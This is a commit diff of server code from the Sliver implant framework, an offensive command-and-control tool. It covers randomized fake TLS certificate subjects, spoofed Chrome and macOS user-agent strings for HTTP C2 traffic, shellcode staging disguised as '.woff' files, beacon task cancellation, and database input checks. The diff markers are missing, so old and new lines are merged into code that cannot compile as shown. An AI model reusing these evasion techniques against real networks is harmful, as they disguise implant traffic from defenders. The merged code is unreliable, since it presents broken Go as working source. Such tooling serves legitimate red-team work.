"Mesa": {""},
"Scottsdale": {""},
"Chandler": {""},
"CA": {
"": {
"": {
"",
},
},
"Alberta": {
"Calgary": {""},
"Edmonton": {
"",
"University",
},
"Red Deer": {""},
"Fort McMurray": {
"",
"University",
},
},
"British Columbia": {
"Vancouver": {""},
"Victoria": {""},
"Kelowna": {""},
"Richmond": {""},
},
"Manitoba": {
"Winnipeg": {""},
"Brandon": {""},
"Thompson": {""},
"Portage la Prairie": {
"",
"University",
},
},
"New Brunswick": {
"Fredericton": {""},
"Moncton": {""},
"Saint John": {""},
"Dieppe": {""},
},
"Newfoundland and Labrador": {
"St. John's": {""},
"Mount Pearl": {
"",
"College",
},
"Conception Bay South": {""},
"Paradise": {
"",
"College",
},
},
},
"California": {
"San Francisco": {"", "Golden Gate Bridge"},
"Oakland": {""},
"Berkeley": {""},
"Palo Alto": {""},
"Los Angeles": {""},
"San Diego": {""},
"San Jose": {""},
},
"Colorado": {
"Denver": {""},
"Boulder": {""},
"Aurora": {""},
"Fort Collins": {""},
},
"Connecticut": {
"New Haven": {""},
"Bridgeport": {""},
"Stamford": {""},
"Norwalk": {""},
},
"Washington": {
"Seattle": {""},
"Tacoma": {""},
"Olympia": {""},
"Spokane": {""},
},
"Florida": {
"Miami": {""},
"Orlando": {""},
"Tampa": {""},
"Jacksonville": {""},
},
"Illinois": {
"Chicago": {""},
"Aurora": {""},
"Naperville": {""},
"Peoria": {""},
"JP": {
"": {
"": {
"",
},
},
"Aichi": {
"Nagoya": {""},
"Kasugai": {
"",
"University",
},
"Okazaki": {""},
"Handa": {""},
},
"Chiba": {
"Chiba": {""},
"Kashiwa": {
"",
"University",
},
"Funabashi": {""},
"Kimitsu": {""},
},
},
}
)
func randomSubject(commonName string) *pkix.Name {
province, locale, street := randomProvinceLocalityStreetAddress()
country, province, locale, street := randomProvinceLocalityStreetAddress()
return &pkix.Name{
Organization: randomOrganization(),
Country: []string{"US"},
Country: country,
Province: province,
Locality: locale,
StreetAddress: street,
PostalCode: randomPostalCode(),
PostalCode: randomPostalCode(country),
CommonName: commonName,
}
}
func randomPostalCode() []string {
switch insecureRand.Intn(1) {
case 0:
return []string{fmt.Sprintf("%d", insecureRand.Intn(8000)+1000)}
default:
func randomPostalCode(country []string) []string {
// 1 in `n` will include a postal code
// From my cursory view of a few TLS certs it seems uncommon to include this
// in the distinguished name so right now it's set to 1/5
const postalProbability = 5
if len(country) == 0 {
return []string{}
}
switch country[0] {
case "US":
// American postal codes are 5 digits
switch insecureRand.Intn(postalProbability) {
case 0:
return []string{fmt.Sprintf("%05d", insecureRand.Intn(90000)+1000)}
default:
return []string{}
}
case "CA":
// Canadian postal codes are weird and include letter/number combo's
letters := "ABHLMNKGJPRSTVYX"
switch insecureRand.Intn(postalProbability) {
case 0:
letter1 := string(letters[insecureRand.Intn(len(letters))])
letter2 := string(letters[insecureRand.Intn(len(letters))])
if insecureRand.Intn(2) == 0 {
letter1 = strings.ToLower(letter1)
letter2 = strings.ToLower(letter2)
}
return []string{
fmt.Sprintf("%s%d%s", letter1, insecureRand.Intn(9), letter2),
}
default:
return []string{}
}
}
return []string{}
}
func randomProvinceLocalityStreetAddress() ([]string, []string, []string) {
state := randomState()
locality := randomLocality(state)
streetAddress := randomStreetAddress(state, locality)
return []string{state}, []string{locality}, []string{streetAddress}
func randomProvinceLocalityStreetAddress() ([]string, []string, []string, []string) {
country := randomCountry()
state := randomState(country)
locality := randomLocality(country, state)
streetAddress := randomStreetAddress(country, state, locality)
return []string{country}, []string{state}, []string{locality}, []string{streetAddress}
}
func randomState() string {
keys := make([]string, 0, len(states))
for k := range states {
func randomCountry() string {
keys := make([]string, 0, len(subjects))
for k := range subjects {
keys = append(keys, k)
}
return keys[insecureRand.Intn(len(keys))]
}
func randomLocality(state string) string {
locales := states[state]
func randomState(country string) string {
keys := make([]string, 0, len(subjects[country]))
for k := range subjects[country] {
keys = append(keys, k)
}
return keys[insecureRand.Intn(len(keys))]
}
func randomLocality(country string, state string) string {
locales := subjects[country][state]
keys := make([]string, 0, len(locales))
for k := range locales {
keys = append(keys, k)
@@ -125,44 +343,65 @@ func randomLocality(state string) string {
return keys[insecureRand.Intn(len(keys))]
}
func randomStreetAddress(state string, locality string) string {
addresses := states[state][locality]
func randomStreetAddress(country string, state string, locality string) string {
addresses := subjects[country][state][locality]
return addresses[insecureRand.Intn(len(addresses))]
}
var (
orgNames = []string{
"",
"ACME",
"Partners",
"Tech",
"Cloud",
"Synergy",
"Test",
"Debug",
}
orgSuffixes = []string{
"",
"",
"co",
"llc",
"inc",
"corp",
"ltd",
"plc",
"inc.",
"corp.",
"ltd.",
"plc.",
"co.",
"llc.",
"incorporated",
"limited",
"corporation",
"company",
"incorporated",
"limited",
"corporation",
"company",
}
)
func randomOrganization() []string {
name := orgNames[insecureRand.Intn(len(orgNames))]
adjective, _ := codenames.RandomAdjective()
noun, _ := codenames.RandomNoun()
suffix := orgSuffixes[insecureRand.Intn(len(orgSuffixes))]
switch insecureRand.Intn(4) {
case 0:
return []string{strings.TrimSpace(strings.ToLower(name + " " + suffix))}
case 1:
return []string{strings.TrimSpace(strings.ToUpper(name + " " + suffix))}
case 2:
return []string{strings.TrimSpace(strings.Title(fmt.Sprintf("%s %s", name, suffix)))}
var orgName string
switch insecureRand.Intn(8) {
case 0:
orgName = strings.TrimSpace(fmt.Sprintf("%s %s, %s", adjective, noun, suffix))
case 1:
orgName = strings.TrimSpace(strings.ToLower(fmt.Sprintf("%s %s, %s", adjective, noun, suffix)))
case 2:
orgName = strings.TrimSpace(fmt.Sprintf("%s, %s", noun, suffix))
case 3:
orgName = strings.TrimSpace(strings.Title(fmt.Sprintf("%s %s, %s", adjective, noun, suffix)))
case 4:
orgName = strings.TrimSpace(strings.Title(fmt.Sprintf("%s %s", adjective, noun)))
case 5:
orgName = strings.TrimSpace(strings.ToLower(fmt.Sprintf("%s %s", adjective, noun)))
case 6:
orgName = strings.TrimSpace(strings.Title(fmt.Sprintf("%s", noun)))
case 7:
noun2, _ := codenames.RandomNoun()
orgName = strings.TrimSpace(strings.ToLower(fmt.Sprintf("%s-%s", noun, noun2)))
default:
return []string{}
orgName = ""
}
return []string{orgName}
}
+1
View File
@@ -131,6 +131,7 @@ var rootCmd = &cobra.Command{
serverConfig := configs.GetServerConfig()
c2.StartPersistentJobs(serverConfig)
console.StartPersistentJobs(serverConfig)
if serverConfig.DaemonMode {
daemon.Start(daemon.BlankHost, daemon.BlankPort)
} else {
@@ -1,4 +1,4 @@
package generate
package codenames
/*
Sliver Implant Framework
@@ -23,7 +23,7 @@ import (
"fmt"
insecureRand "math/rand"
"os"
"path"
"path/filepath"
"strings"
"github.com/bishopfox/sliver/server/assets"
@@ -39,11 +39,11 @@ var (
})
)
// readlines - Read lines of a text file into a slice
func readlines(fpath string) ([]string, error) {
file, err := os.Open(fpath)
// readLines - Read lines of a text file into a slice
func readLines(txtFilePath string) ([]string, error) {
file, err := os.Open(txtFilePath)
if err != nil {
codenameLog.Errorf("Error opening %s: %v", fpath, err)
codenameLog.Errorf("Error opening %s: %v", txtFilePath, err)
return nil, err
}
defer file.Close()
@@ -63,37 +63,37 @@ func readlines(fpath string) ([]string, error) {
}
// getRandomWord - Get a random word from a file, not cryptographically secure
func getRandomWord(fpath string) (string, error) {
func getRandomWord(txtFilePath string) (string, error) {
appDir := assets.GetRootAppDir()
words, err := readlines(path.Join(appDir, fpath))
words, err := readLines(filepath.Join(appDir, txtFilePath))
if err != nil {
return "", err
}
wordsLen := len(words)
if wordsLen == 0 {
return "", fmt.Errorf("no words found in %s", fpath)
return "", fmt.Errorf("no words found in %s", txtFilePath)
}
word := words[insecureRand.Intn(wordsLen-1)]
return strings.TrimSpace(word), nil
}
// getRandomAdjective - Get a random noun, not cryptographically secure
func getRandomAdjective() (string, error) {
// RandomAdjective - Get a random noun, not cryptographically secure
func RandomAdjective() (string, error) {
return getRandomWord("adjectives.txt")
}
// getRandomNoun - Get a random noun, not cryptographically secure
func getRandomNoun() (string, error) {
// RandomNoun - Get a random noun, not cryptographically secure
func RandomNoun() (string, error) {
return getRandomWord("nouns.txt")
}
// GetCodename - Returns a randomly generated 'codename'
func GetCodename() (string, error) {
adjective, err := getRandomAdjective()
adjective, err := RandomAdjective()
if err != nil {
return "", err
}
noun, err := getRandomNoun()
noun, err := RandomNoun()
if err != nil {
return "", err
}
+26 -9
View File
@@ -35,7 +35,8 @@ import (
const (
httpC2ConfigFileName = "http-c2.json"
chromeBaseVer = 97
DefaultChromeBaseVer = 100
DefaultMacOSVer = "10_15_7"
)
// HTTPC2Config - Parent config file struct for implant/server
@@ -69,7 +70,7 @@ func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) strin
case "arm64":
fallthrough // https://source.chromium.org/chromium/chromium/src/+/master:third_party/blink/renderer/core/frame/navigator_id.cc;l=76
case "amd64":
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.ChromeVer())
return fmt.Sprintf("Mozilla/5.0 (Macintosh; Intel Mac OS X %s) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/%s Safari/537.36", h.MacOSVer(), h.ChromeVer())
}
}
@@ -83,7 +84,19 @@ func (h *HTTPC2Config) generateChromeUserAgent(goos string, goarch string) strin
// ChromeVer - Generate a random Chrome user-agent
func (h *HTTPC2Config) ChromeVer() string {
return fmt.Sprintf("%d.0.%d.%d", chromeBaseVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
chromeVer := h.ImplantConfig.ChromeBaseVersion
if chromeVer == 0 {
chromeVer = DefaultChromeBaseVer
}
return fmt.Sprintf("%d.0.%d.%d", chromeVer+insecureRand.Intn(3), 1000+insecureRand.Intn(8999), insecureRand.Intn(999))
}
func (h *HTTPC2Config) MacOSVer() string {
macosVer := h.ImplantConfig.MacOSVersion
if macosVer == "" {
macosVer = DefaultMacOSVer
}
return macosVer
}
// RandomImplantConfig - Randomly generate a config
@@ -126,7 +139,9 @@ type NameValueProbability struct {
// .png = stop
// .woff = sliver shellcode
type HTTPC2ImplantConfig struct {
UserAgent string `json:"user_agent"`
UserAgent string `json:"user_agent"`
ChromeBaseVersion int `json:"chrome_base_version"`
MacOSVersion string `json:"macos_version"`
URLParameters []NameValueProbability `json:"url_parameters"`
Headers []NameValueProbability `json:"headers"`
@@ -222,11 +237,13 @@ var (
},
},
ImplantConfig: &HTTPC2ImplantConfig{
UserAgent: "", // Blank string is rendered as randomized platform user-agent
MaxFiles: 8,
MinFiles: 2,
MaxPaths: 8,
MinPaths: 2,
UserAgent: "", // Blank string is rendered as randomized platform user-agent
ChromeBaseVersion: DefaultChromeBaseVer,
MacOSVersion: DefaultMacOSVer,
MaxFiles: 8,
MinFiles: 2,
MaxPaths: 8,
MinPaths: 2,
StagerFileExt: ".woff",
+10
View File
@@ -177,6 +177,16 @@ func kickOperatorCmd(ctx *grumble.Context) {
fmt.Printf(Info+"Operator %s has been kicked out.\n", operator)
}
func StartPersistentJobs(cfg *configs.ServerConfig) error {
if cfg.Jobs == nil {
return nil
}
for _, j := range cfg.Jobs.Multiplayer {
jobStartClientListener(j.Host, j.Port)
}
return nil
}
func startMultiplayerModeCmd(ctx *grumble.Context) {
lhost := ctx.Flags.String("lhost")
lport := uint16(ctx.Flags.Int("lport"))
+1 -1
View File
@@ -26,7 +26,7 @@ import (
)
var (
// TunSocksTunnels - Interating with duplex SocksTunnels
// TunSocksTunnels - Interacting with duplex SocksTunnels
SocksTunnels = tcpTunnel{
tunnels: map[uint64]*TcpTunnel{},
mutex: &sync.Mutex{},
+4 -4
View File
@@ -31,7 +31,7 @@ import (
)
var (
// Tunnels - Interating with duplex tunnels
// Tunnels - Interacting with duplex tunnels
Tunnels = tunnels{
tunnels: map[uint64]*Tunnel{},
mutex: &sync.Mutex{},
@@ -125,10 +125,10 @@ func (t *tunnels) Create(sessionID string) *Tunnel {
// will close it once there is no data for at least delayBeforeClose delay since last message
// This is _necessary_ since we processing messages asynchronously
// and if tunnelCloseHandler routine will fire before tunnelDataHandler routine we will lose some data
// (this is what happends for socks and portfwd)
// (this is what happens for socks and portfwd)
// There is no another way around it, if we want to stick to async processing as we do now.
// All additional changes requires changes on implants(like sequencing for close messages),
// and as there is a goal to keep compatability we don't do that at the moment.
// and as there is a goal to keep compatibility we don't do that at the moment.
// So there is trade off - more stability or more speed. Or rewriting implant logic.
// At the moment, i see it affects only `shell` command and locking it for 10 seconds on exit. Not a big deal.
func (t *tunnels) ScheduleClose(tunnelID uint64) {
@@ -153,7 +153,7 @@ func (t *tunnels) ScheduleClose(tunnelID uint64) {
}
// Close - closing tunnel
// It's prefered to use ScheduleClose function if you don't 100% sure there is no more data to receive
// It's preferred to use ScheduleClose function if you don't 100% sure there is no more data to receive
func (t *tunnels) Close(tunnelID uint64) error {
t.mutex.Lock()
defer t.mutex.Unlock()
+104 -14
View File
@@ -39,9 +39,16 @@ var (
// ImplantConfigByID - Fetch implant build by name
func ImplantConfigByID(id string) (*models.ImplantConfig, error) {
if len(id) < 1 {
return nil, ErrRecordNotFound
}
configID := uuid.FromStringOrNil(id)
if configID == uuid.Nil {
return nil, ErrRecordNotFound
}
config := models.ImplantConfig{}
err := Session().Where(&models.ImplantConfig{
ID: uuid.FromStringOrNil(id),
ID: configID,
}).First(&config).Error
if err != nil {
return nil, err
@@ -79,6 +86,9 @@ func ImplantBuilds() ([]*models.ImplantBuild, error) {
// ImplantBuildByName - Fetch implant build by name
func ImplantBuildByName(name string) (*models.ImplantBuild, error) {
if len(name) < 1 {
return nil, ErrRecordNotFound
}
build := models.ImplantBuild{}
err := Session().Where(&models.ImplantBuild{
Name: name,
@@ -126,6 +136,9 @@ func ImplantProfiles() ([]*models.ImplantProfile, error) {
// ImplantProfileByName - Fetch implant build by name
func ImplantProfileByName(name string) (*models.ImplantProfile, error) {
if len(name) < 1 {
return nil, ErrRecordNotFound
}
profile := models.ImplantProfile{}
err := Session().Where(&models.ImplantProfile{
Name: name,
@@ -170,6 +183,9 @@ func ImplantProfileNames() ([]string, error) {
// ProfileByName - Fetch a single profile from the database
func ProfileByName(name string) (*models.ImplantProfile, error) {
if len(name) < 1 {
return nil, ErrRecordNotFound
}
dbProfile := &models.ImplantProfile{}
err := Session().Where(&models.ImplantProfile{Name: name}).Find(&dbProfile).Error
return dbProfile, err
@@ -184,6 +200,9 @@ func ListCanaries() ([]*models.DNSCanary, error) {
// CanaryByDomain - Check if a canary exists
func CanaryByDomain(domain string) (*models.DNSCanary, error) {
if len(domain) < 1 {
return nil, ErrRecordNotFound
}
dbSession := Session()
canary := models.DNSCanary{}
err := dbSession.Where(&models.DNSCanary{Domain: domain}).First(&canary).Error
@@ -192,6 +211,9 @@ func CanaryByDomain(domain string) (*models.DNSCanary, error) {
// WebsiteByName - Get website by name
func WebsiteByName(name string) (*models.Website, error) {
if len(name) < 1 {
return nil, ErrRecordNotFound
}
website := models.Website{}
err := Session().Where(&models.Website{Name: name}).First(&website).Error
if err != nil {
@@ -235,9 +257,16 @@ func HostByHostID(id uuid.UUID) (*models.Host, error) {
// HostByHostUUID - Get host by the session's reported HostUUID
func HostByHostUUID(id string) (*models.Host, error) {
if len(id) < 1 {
return nil, ErrRecordNotFound
}
hostID := uuid.FromStringOrNil(id)
if hostID == uuid.Nil {
return nil, ErrRecordNotFound
}
host := models.Host{}
err := Session().Where(
&models.Host{HostUUID: uuid.FromStringOrNil(id)},
&models.Host{HostUUID: hostID},
).Preload("IOCs").Preload("ExtensionData").First(&host).Error
if err != nil {
return nil, err
@@ -247,18 +276,32 @@ func HostByHostUUID(id string) (*models.Host, error) {
// IOCByID - Select an IOC by ID
func IOCByID(id string) (*models.IOC, error) {
if len(id) < 1 {
return nil, ErrRecordNotFound
}
ioc := &models.IOC{}
iocID := uuid.FromStringOrNil(id)
if iocID == uuid.Nil {
return nil, ErrRecordNotFound
}
err := Session().Where(
&models.IOC{ID: uuid.FromStringOrNil(id)},
&models.IOC{ID: iocID},
).First(ioc).Error
return ioc, err
}
// BeaconByID - Select a Beacon by ID
func BeaconByID(id string) (*models.Beacon, error) {
if len(id) < 1 {
return nil, ErrRecordNotFound
}
beaconID := uuid.FromStringOrNil(id)
if beaconID == uuid.Nil {
return nil, ErrRecordNotFound
}
beacon := &models.Beacon{}
err := Session().Where(
&models.Beacon{ID: uuid.FromStringOrNil(id)},
&models.Beacon{ID: beaconID},
).First(beacon).Error
return beacon, err
}
@@ -267,8 +310,14 @@ func BeaconByID(id string) (*models.Beacon, error) {
// by default will not fetch the request/response columns since
// these could be arbitrarily large.
func BeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
beaconTasks := []*models.BeaconTask{}
if len(beaconID) < 1 {
return nil, ErrRecordNotFound
}
id := uuid.FromStringOrNil(beaconID)
if id == uuid.Nil {
return nil, ErrRecordNotFound
}
beaconTasks := []*models.BeaconTask{}
err := Session().Select([]string{
"ID", "EnvelopeID", "BeaconID", "CreatedAt", "State", "SentAt", "CompletedAt",
"Description",
@@ -278,10 +327,17 @@ func BeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
// BeaconTaskByID - Select a specific BeaconTask by ID, this
// will fetch the full request/response
func BeaconTaskByID(taskID string) (*models.BeaconTask, error) {
func BeaconTaskByID(id string) (*models.BeaconTask, error) {
if len(id) < 1 {
return nil, ErrRecordNotFound
}
taskID := uuid.FromStringOrNil(id)
if taskID == uuid.Nil {
return nil, ErrRecordNotFound
}
task := &models.BeaconTask{}
err := Session().Where(
&models.BeaconTask{ID: uuid.FromStringOrNil(taskID)},
&models.BeaconTask{ID: taskID},
).First(task).Error
return task, err
}
@@ -294,9 +350,16 @@ func ListBeacons() ([]*models.Beacon, error) {
}
// RenameBeacon - Rename a beacon
func RenameBeacon(beaconID string, name string) error {
func RenameBeacon(id string, name string) error {
if len(id) < 1 {
return ErrRecordNotFound
}
beaconID := uuid.FromStringOrNil(id)
if beaconID == uuid.Nil {
return ErrRecordNotFound
}
err := Session().Where(&models.Beacon{
ID: uuid.FromStringOrNil(beaconID),
ID: beaconID,
}).Updates(models.Beacon{Name: name}).Error
if err != nil {
return err
@@ -305,11 +368,18 @@ func RenameBeacon(beaconID string, name string) error {
}
// PendingBeaconTasksByBeaconID - Select a Beacon by ID, ordered by creation time
func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error) {
func PendingBeaconTasksByBeaconID(id string) ([]*models.BeaconTask, error) {
if len(id) < 1 {
return nil, ErrRecordNotFound
}
beaconID := uuid.FromStringOrNil(id)
if beaconID == uuid.Nil {
return nil, ErrRecordNotFound
}
tasks := []*models.BeaconTask{}
err := Session().Where(
&models.BeaconTask{
BeaconID: uuid.FromStringOrNil(beaconID),
BeaconID: beaconID,
State: models.PENDING,
},
).Order("created_at").Find(&tasks).Error
@@ -317,9 +387,16 @@ func PendingBeaconTasksByBeaconID(beaconID string) ([]*models.BeaconTask, error)
}
// UpdateBeaconCheckinByID - Update the beacon's last / next checkin
func UpdateBeaconCheckinByID(beaconID string, next int64) error {
func UpdateBeaconCheckinByID(id string, next int64) error {
if len(id) < 1 {
return ErrRecordNotFound
}
beaconID := uuid.FromStringOrNil(id)
if beaconID == uuid.Nil {
return ErrRecordNotFound
}
err := Session().Where(&models.Beacon{
ID: uuid.FromStringOrNil(beaconID),
ID: beaconID,
}).Updates(models.Beacon{
LastCheckin: time.Now(),
NextCheckin: time.Now().Unix() + next,
@@ -329,10 +406,17 @@ func UpdateBeaconCheckinByID(beaconID string, next int64) error {
// BeaconTasksByEnvelopeID - Select a (sent) BeaconTask by its envelope ID
func BeaconTaskByEnvelopeID(beaconID string, envelopeID int64) (*models.BeaconTask, error) {
if len(beaconID) < 1 {
return nil, ErrRecordNotFound
}
beaconUUID := uuid.FromStringOrNil(beaconID)
if beaconUUID == uuid.Nil {
return nil, ErrRecordNotFound
}
task := &models.BeaconTask{}
err := Session().Where(
&models.BeaconTask{
BeaconID: uuid.FromStringOrNil(beaconID),
BeaconID: beaconUUID,
EnvelopeID: envelopeID,
State: models.SENT,
},
@@ -342,6 +426,9 @@ func BeaconTaskByEnvelopeID(beaconID string, envelopeID int64) (*models.BeaconTa
// CountTasksByBeaconID - Select a (sent) BeaconTask by its envelope ID
func CountTasksByBeaconID(beaconID uuid.UUID) (int64, int64, error) {
if beaconID == uuid.Nil {
return 0, 0, ErrRecordNotFound
}
allTasks := int64(0)
completedTasks := int64(0)
err := Session().Model(&models.BeaconTask{}).Where(
@@ -363,6 +450,9 @@ func CountTasksByBeaconID(beaconID uuid.UUID) (int64, int64, error) {
// OperatorByToken - Select an operator by token value
func OperatorByToken(value string) (*models.Operator, error) {
if len(value) < 1 {
return nil, ErrRecordNotFound
}
operator := &models.Operator{}
err := Session().Where(&models.Operator{
Token: value,
+1
View File
@@ -112,6 +112,7 @@ const (
PENDING = "pending"
SENT = "sent"
COMPLETED = "completed"
CANCELED = "canceled"
)
type BeaconTask struct {
+3
View File
@@ -19,6 +19,7 @@ package db
*/
import (
"fmt"
"time"
"github.com/bishopfox/sliver/server/configs"
@@ -45,6 +46,8 @@ func newDBClient() *gorm.DB {
dbClient = postgresClient(dbConfig)
case configs.MySQL:
dbClient = mySQLClient(dbConfig)
default:
panic(fmt.Sprintf("Unknown DB Dialect: '%s'", dbConfig.Dialect))
}
err := dbClient.AutoMigrate(
+3
View File
@@ -255,6 +255,9 @@ func GetSliversDir() string {
// SliverShellcode - Generates a sliver shellcode using Donut
func SliverShellcode(name string, config *models.ImplantConfig) (string, error) {
if config.GOOS != "windows" {
return "", fmt.Errorf("Shellcode format is currently only supported on Windows")
}
appDir := assets.GetRootAppDir()
goConfig := &gogo.GoConfig{
CGO: "0",
+6 -6
View File
@@ -111,7 +111,7 @@ func tunnelDataHandler(implantConn *core.ImplantConnection, data []byte) *sliver
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(data, tunnelData)
sessionHandlerLog.Debugf("[DATA] Sequence on tunel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
sessionHandlerLog.Debugf("[DATA] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
tunnel := core.Tunnels.Get(tunnelData.TunnelID)
if tunnel != nil {
@@ -137,7 +137,7 @@ func tunnelCloseHandler(implantConn *core.ImplantConnection, data []byte) *slive
tunnelData := &sliverpb.TunnelData{}
proto.Unmarshal(data, tunnelData)
sessionHandlerLog.Debugf("[CLOSE] Sequence on tunel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
sessionHandlerLog.Debugf("[CLOSE] Sequence on tunnel %d, %d, data: %s", tunnelData.TunnelID, tunnelData.Sequence, tunnelData.Data)
if !tunnelData.Closed {
return nil
}
@@ -181,10 +181,10 @@ func socksDataHandler(implantConn *core.ImplantConnection, data []byte) *sliverp
// return nil
//}
sessionHandlerLog.Debugf("socksDataHandler:", len(socksData.Data), socksData.Data)
SocksTunne := core.SocksTunnels.Get(socksData.TunnelID)
if SocksTunne != nil {
if session.ID == SocksTunne.SessionID {
SocksTunne.FromImplant <- socksData
socksTunnel := core.SocksTunnels.Get(socksData.TunnelID)
if socksTunnel != nil {
if session.ID == socksTunnel.SessionID {
socksTunnel.FromImplant <- socksData
} else {
sessionHandlerLog.Warnf("Warning: Session %s attempted to send data on tunnel it did not own", session.ID)
}
+2 -2
View File
@@ -21,7 +21,7 @@ package log
import (
"fmt"
"os"
"path"
"path/filepath"
"github.com/sirupsen/logrus"
)
@@ -34,7 +34,7 @@ var (
func newAuditLogger() *logrus.Logger {
auditLogger := logrus.New()
auditLogger.Formatter = &logrus.JSONFormatter{}
jsonFilePath := path.Join(GetLogDir(), "audit.json")
jsonFilePath := filepath.Join(GetLogDir(), "audit.json")
jsonFile, err := os.OpenFile(jsonFilePath, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0600)
if err != nil {
panic(fmt.Sprintf("Failed to open log file %v", err))
+5
View File
@@ -19,6 +19,9 @@ package rpc
*/
import (
"fmt"
"github.com/bishopfox/sliver/server/db/models"
"google.golang.org/grpc/codes"
"google.golang.org/grpc/status"
)
@@ -41,4 +44,6 @@ var (
// ErrInvalidName - Invalid name
ErrInvalidName = status.Error(codes.InvalidArgument, "Invalid session name, alphanumerics and _-. only")
ErrInvalidBeaconTaskCancelState = status.Error(codes.InvalidArgument, fmt.Sprintf("Invalid task state, must be '%s' to cancel", models.PENDING))
)
+24
View File
@@ -107,3 +107,27 @@ func (rpc *Server) GetBeaconTaskContent(ctx context.Context, req *clientpb.Beaco
}
return task.ToProtobuf(true), nil
}
// CancelBeaconTask - Cancel a beacon task
func (rpc *Server) CancelBeaconTask(ctx context.Context, req *clientpb.BeaconTask) (*clientpb.BeaconTask, error) {
task, err := db.BeaconTaskByID(req.ID)
if err != nil {
return nil, ErrInvalidBeaconTaskID
}
if task.State == models.PENDING {
task.State = models.CANCELED
err = db.Session().Save(task).Error
if err != nil {
beaconRpcLog.Errorf("Database error: %s", err)
return nil, ErrDatabaseFailure
}
} else {
// No real point to cancel the task if it's already been sent
return task.ToProtobuf(false), ErrInvalidBeaconTaskCancelState
}
task, err = db.BeaconTaskByID(req.ID)
if err != nil {
return nil, ErrInvalidBeaconTaskID
}
return task.ToProtobuf(false), nil
}
+2 -1
View File
@@ -30,6 +30,7 @@ import (
consts "github.com/bishopfox/sliver/client/constants"
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/generate"
@@ -46,7 +47,7 @@ func (rpc *Server) Generate(ctx context.Context, req *clientpb.GenerateReq) (*cl
var err error
name, config := generate.ImplantConfigFromProtobuf(req.Config)
if name == "" {
name, err = generate.GetCodename()
name, err = codenames.GetCodename()
if err != nil {
return nil, err
}
+2 -1
View File
@@ -34,6 +34,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/generate"
"github.com/bishopfox/sliver/util/encoders"
@@ -107,7 +108,7 @@ func (rpc *Server) HijackDLL(ctx context.Context, req *clientpb.DllHijackReq) (*
name, config := generate.ImplantConfigFromProtobuf(p.Config)
if name == "" {
name, err = generate.GetCodename()
name, err = codenames.GetCodename()
if err != nil {
return nil, err
}
+4 -2
View File
@@ -31,7 +31,7 @@ import (
"google.golang.org/protobuf/proto"
)
// Kill - Kill the implant proccess
// Kill - Kill the implant process
func (rpc *Server) Kill(ctx context.Context, kill *sliverpb.KillReq) (*commonpb.Empty, error) {
var (
beacon *models.Beacon
@@ -55,7 +55,9 @@ func (rpc *Server) killSession(kill *sliverpb.KillReq, session *core.Session) (*
return nil, err
}
timeout := time.Duration(kill.Request.GetTimeout())
session.Request(sliverpb.MsgNumber(kill), timeout, data)
// Do not block waiting for the msg send, the implant connection may already be dead
go session.Request(sliverpb.MsgNumber(kill), timeout, data)
core.Sessions.Remove(session.ID)
return &commonpb.Empty{}, nil
}
+2 -2
View File
@@ -29,9 +29,9 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/generate"
"github.com/bishopfox/sliver/server/log"
"github.com/bishopfox/sliver/server/msf"
)
@@ -197,7 +197,7 @@ func (rpc *Server) MsfStage(ctx context.Context, req *clientpb.MsfStagerReq) (*c
return MSFStage, err
}
MSFStage.File.Data = stage
name, err := generate.GetCodename()
name, err := codenames.GetCodename()
if err != nil {
return MSFStage, err
}
+2 -1
View File
@@ -26,6 +26,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/generate"
@@ -85,7 +86,7 @@ func (rpc *Server) GetSystem(ctx context.Context, req *clientpb.GetSystemReq) (*
if err != nil {
name, config := generate.ImplantConfigFromProtobuf(req.Config)
if name == "" {
name, err = generate.GetCodename()
name, err = codenames.GetCodename()
if err != nil {
return nil, err
}
+2 -1
View File
@@ -31,6 +31,7 @@ import (
"github.com/bishopfox/sliver/protobuf/clientpb"
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"github.com/bishopfox/sliver/server/codenames"
"github.com/bishopfox/sliver/server/core"
"github.com/bishopfox/sliver/server/db"
"github.com/bishopfox/sliver/server/db/models"
@@ -66,7 +67,7 @@ func (rpc *Server) Migrate(ctx context.Context, req *clientpb.MigrateReq) (*sliv
if err != nil {
name, config := generate.ImplantConfigFromProtobuf(req.Config)
if name == "" {
name, err = generate.GetCodename()
name, err = codenames.GetCodename()
if err != nil {
return nil, err
}
+18
View File
@@ -1,5 +1,23 @@
package sgn
/*
Sliver Implant Framework
Copyright (C) 2022 Bishop Fox
This program is free software: you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation, either version 3 of the License, or
(at your option) any later version.
